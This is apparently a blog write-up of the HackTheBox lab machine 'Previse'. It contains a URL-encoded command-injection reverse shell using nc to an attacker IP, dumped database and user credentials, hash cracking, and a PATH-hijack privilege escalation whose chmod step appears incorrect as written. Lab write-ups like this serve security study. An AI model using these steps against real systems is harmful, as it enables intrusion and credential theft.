Sitemap
Himanshu Das

Himanshu Das

PREVISE — HackTheBox WriteUp

4 min readMay 3, 2023

This is an easy box from HackTheBox

Do a rustscan to check for open ports:

rustscan -a 10.129.156.225 --ulimit 5000 -- -A
Press enter or click to view image in full size
Press enter or click to view image in full size

Add previse.htb to your /etc/hosts. Let’s do some directory busting:

ffuf -w '/usr/share/wordlists/dirb/common.txt' -u 'http://previse.htb/FUZZ' -e '.php,.txt'
Press enter or click to view image in full size

Let’s visit the website:

Press enter or click to view image in full size

Going to /files.php and intercepting in burp. I sent to the repeater and sent the request. I got this in the response:

/download.php?file=32

In /status.php, I found this:

I intercepted /accounts.php using Burp, right clicked on the request -> Do intercept -> Response to this request, then forwarded it. Now, I deleted the Location: login.php and Pragma: no-cache headers and forwared and I was able to open the page in my browser. I created an account here and then logged in. Now, I downloaded siteBackup.zip from the Files page.

Extracting it, I found this in config.php:

Hostname: localhost
User: root
Password: mySQL_p@ssw0rd!:)

But we don’t have mySQL running here so not of use to us (I checked these creds in SSH, but they didn’t match).
Now, in the logs.php file, I found this:

Press enter or click to view image in full size

So, now I went to the page /file_logs.php, clicked on SUBMIT to download the log file, intercepted the request. Added the reverse shell from the Pentestmonkey Reverse Shell Cheat Sheet, URL encoded it and ran while setting up a nc listener. This was my request:

POST /logs.php HTTP/1.1Host: previse.htbUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 94Origin: http://previse.htbConnection: closeReferer: http://previse.htb/file_logs.phpCookie: PHPSESSID=8s6hpo2h5cskfm15r5f69msqreUpgrade-Insecure-Requests: 1delim=%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.15.119+1234+>/tmp/f
Press enter or click to view image in full size

And I got the shell. I stabilised the shell using socat.

Get Himanshu Das’s stories in your inbox

Join Medium for free to get updates from this writer.

Now, I connected to MySQL using above creds:

mysql -u root -p

Then I entered these commands:

mysql> show databases;mysql> use previse;mysql> show tables;mysql> describe accounts;mysql> select id, username, password from accounts;

I got this!
m4lwhere:$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

I tried cracking it using hashcat:

.\hashcat.exe -m 500 -a 0 ./hash.txt ./wordlists/rockyou.txt

(I use hashcat in windows, you can use it in linux as well)
I got this:
Username: m4lwhere
Password: ilovecody112235!

Let’s SSH!
Get user.txt from /home/m4lwhere/user.txt.

Now, for privilege escalation. I ran sudo -l and got this:

We do not have edit permissions to that file, but we can view it:

Press enter or click to view image in full size

Here, we can see that they have not provided absolute paths for gzip and date. So, maybe we can change the PATH variable to our advantage. Read the following article for details:

I changed the PATH variable:

export PATH=/home/m4lwhere:$PATH

So, that now my PATH looks like this:

/home/m4lwhere:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Next, I created a file named gzip in the home directory of m4lwhere with contents:

#!/bin/sh
chmod +x /bin/bash

Then, I ran the script with:

sudo /opt/scripts/access_backup.sh

So, it is done. Run bash -p:

And we are root!
Get root.txt from /root/root.txt.

We have successfully pwned the box!

--

--